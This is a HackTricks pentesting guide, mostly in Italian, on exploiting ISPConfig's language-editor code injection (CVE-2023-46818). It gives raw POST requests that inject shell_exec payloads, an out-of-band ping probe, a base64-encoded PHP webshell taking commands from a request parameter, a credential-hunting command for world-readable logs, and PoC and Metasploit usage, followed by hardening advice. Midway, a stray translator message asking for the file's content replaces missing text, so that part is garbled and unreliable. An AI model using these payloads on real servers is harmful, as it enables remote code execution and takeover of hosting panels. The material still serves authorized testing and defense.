ISPConfig
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
ISPConfig è un pannello di controllo hosting open-source. Le build più vecchie 3.2.x includevano una funzionalità dell’editor dei file di lingua che, se abilitata per il super amministratore, permetteva l’iniezione di codice PHP arbitrario tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP viene eseguito, all’escalation di privilegi.
Percorsi predefiniti principali:
- La web root si trova spesso in
/var/www/ispconfigquando viene servita conphp -So tramite Apache/nginx. - L’Admin UI è raggiungibile sul vhost HTTP(S) (a volte vincolato solo a localhost; usare SSH port-forward se necessario).
Suggerimento: Se il pannello è vincolato localmente (es. 127.0.0.1:8080), effettua un forward:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Language editor PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account
admin(other roles are not affected according to the vendor) - Language editor must be enabled:
admin_allow_langedit=yesin/usr/local/ispconfig/security/security_settings.ini - Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Manual exploitation flow
- Apri/crea un file di lingua per ottenere i token CSRF
Invia una prima POST per inizializzare il form e analizzare i campi CSRF dalla risposta HTML (csrf_id, csrf_key). Percorso di esempio della richiesta: /admin/language_edit.php.
- Inietta PHP tramite records[] e salva
Invia una seconda POST includendo i campi CSRF e un record di traduzione maligno. Probe minimi per esecuzione di comandi:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Test out-of-band (osservare ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Creare file e inserire una webshell
Usa file_put_contents per creare un file in un percorso raggiungibile via web (es., admin/):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Quindi scrivi una semplice webshell usando base64 per evitare caratteri non validi nel POST body:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Non ho il contenuto del file. Per favore incolla qui il testo di src/network-services-pentesting/pentesting-web/ispconfig.md e lo tradurrò in italiano mantenendo esattamente la stessa sintassi Markdown/HTML e le eccezioni indicate.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Se PHP viene eseguito come root (ad esempio tramite php -S 127.0.0.1:8080 avviato da root), ciò comporta immediata root RCE. Altrimenti, si ottiene esecuzione di codice come utente del web server.
Regressione 2025 (ISPConfig 3.3.0 / 3.3.0p1)
Il bug dell’editor della lingua è riemerso in 3.3.0/3.3.0p1 ed è stato corretto in 3.3.0p2. Le precondizioni non sono cambiate (admin_allow_langedit e login admin). Lo stesso patch ha anche risolto un XSS nel monitor e i log ruotati leggibili da tutti.
Note:
- Su 3.3.0/3.3.0p1, i log ruotati leggibili da tutti sotto
/usr/local/ispconfig/interface/log/possono leakare le credenziali se il debug logging era abilitato:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Exploit steps corrispondono a CVE-2023-46818; 3.3.0p2 aggiunge controlli extra prima della modifica della lingua.
Python PoC
Un exploit pronto all’uso automatizza la gestione dei token e la consegna del payload:
Esempio di esecuzione:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit module (released July 2025)
Rapid7 ha aggiunto exploit/linux/http/ispconfig_lang_edit_php_code_injection, che può abilitare automaticamente admin_allow_langedit se l’account admin fornito dispone dei diritti system-config.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
Il modulo scrive un base64-encoded payload tramite records[] e lo esegue, ottenendo un PHP Meterpreter o un custom payload.
Indurimento
- Aggiornare a 3.2.11p1 o successiva per il problema originale, e a 3.3.0p2 o successiva per la regressione del 2025.
- Disabilitare l’editor della lingua a meno che non sia strettamente necessario:
admin_allow_langedit=no
- Evita di eseguire il pannello come root; configura PHP-FPM o il web server per ridurre i privilegi
- Applica un’autenticazione forte all’account integrato
admin
Riferimenti
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


